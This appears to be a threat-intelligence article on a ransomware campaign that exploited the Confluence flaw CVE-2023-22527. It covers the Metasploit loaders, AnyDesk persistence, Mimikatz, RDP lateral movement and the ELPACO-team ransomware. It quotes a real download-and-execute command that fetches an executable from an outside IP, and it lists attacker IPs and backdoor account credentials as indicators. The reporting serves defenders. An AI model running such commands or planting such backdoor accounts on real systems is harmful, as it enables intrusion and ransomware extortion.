Ransomware Operators Leverage Confluence Flaw in Targeted, Scripted Attacks
A recently analyzed cyberattack campaign reveals how threat actors exploited a critical security weakness in outdated Atlassian Confluence servers to stealthily deliver ransomware. The activity, which spanned multiple systems in June 2024, highlights a calculated and repeatable intrusion strategy designed for persistence and maximum disruption.
At the core of the compromise was CVE-2023-22527, a known template injection flaw in Confluence. Once exploited, this vulnerability allowed attackers to run remote code on exposed systems, serving as the gateway for deeper network penetration.
From Initial Breach to Full Control in Hours
Shortly after gaining initial access, attackers moved swiftly. Within minutes, they dropped a Metasploit payload, launched a command-and-control (C2) channel, and deployed AnyDesk—a remote access tool often repurposed by threat actors—to maintain long-term access. This was not a smash-and-grab operation. Logs showed attackers waited more than 60 hours before executing the final ransomware stage, underscoring a deliberate and methodical approach.
Privilege Escalation and Network Movement
Once inside, attackers used familiar post-exploitation techniques. Tools like Mimikatz were employed to extract credentials, while RDP was activated to streamline lateral movement. Eventually, a strain dubbed ELPACO-team ransomware, closely linked to Mimic ransomware, was unleashed across the compromised environment.
Incident response teams noted a predictable, script-driven progression across multiple affected environments, suggesting the use of prebuilt attack templates or automation.
Infrastructure and Indicators of Planning
A standout detail from the forensic review was the repeated use of a single IP address (45.227.254.124) for both vulnerability scanning and as the destination for the deployed AnyDesk client—a strong indicator that this infrastructure was prepared in advance.
Packet captures and logs revealed the initial exploit began with a benign system query (running whoami) followed by this payload execution chain:
bash
cmd.exe /c “curl -sko %TEMP%\HAHLGiDDb.exe https://91.191.209.46:8080/YlDRANysdqsFrhht5dDNDw & start /B %TEMP%\HAHLGiDDb.exe”
This retrieved and launched a Metasploit-based executable, designed to bypass detection through obfuscation techniques like runtime API resolution and minimized imports—hallmarks of modern loader designs.
Establishing Long-Term Access
Persistence wasn’t left to chance. Attackers embedded multiple backdoors, starting with an installation of AnyDesk directly into the Confluence directory. The software was preconfigured for unattended access using the hardcoded password P@ssword1, ensuring remote control even after reboots.
To further entrench their presence, a new administrator account was silently created using a batch script. The account—named noname with password Slepoy_123—was added to the local admin group, with settings ensuring the password never expired. This process was repeated several times, hinting at the use of automated checks and redundancy measures.
Conclusion
This attack serves as a reminder of how publicly known vulnerabilities, when left unpatched, can be turned into high-impact breaches through disciplined planning and automation. The use of consistent tools, infrastructure, and scripting points to a professionalized operation—a shift from opportunistic ransomware attacks to organized campaigns with playbooks in hand.
Establishing Covert Remote Access: How Attackers Used AnyDesk and RDP for Long-Term Control
As part of their broader intrusion strategy, the threat actors silently configured AnyDesk for unattended access via command-line execution—granting themselves unrestricted remote control without needing further authentication. This move wasn’t just for convenience; it formed the backbone of their persistence layer.
Rather than relying on default access controls, the adversaries methodically reengineered remote access pathways. They manipulated Windows internals, tweaking registry entries and firewall configurations to activate and stabilize Remote Desktop Protocol (RDP) connections. This approach allowed them to sidestep traditional login barriers, effectively planting multiple backdoors that would survive even if the initial exploit vector—CVE-2023-22527—was eventually closed.
This layered method of access, combining stealthy AnyDesk deployment with low-level RDP configuration changes, gave attackers multiple fallback options, reinforcing their foothold across compromised systems.
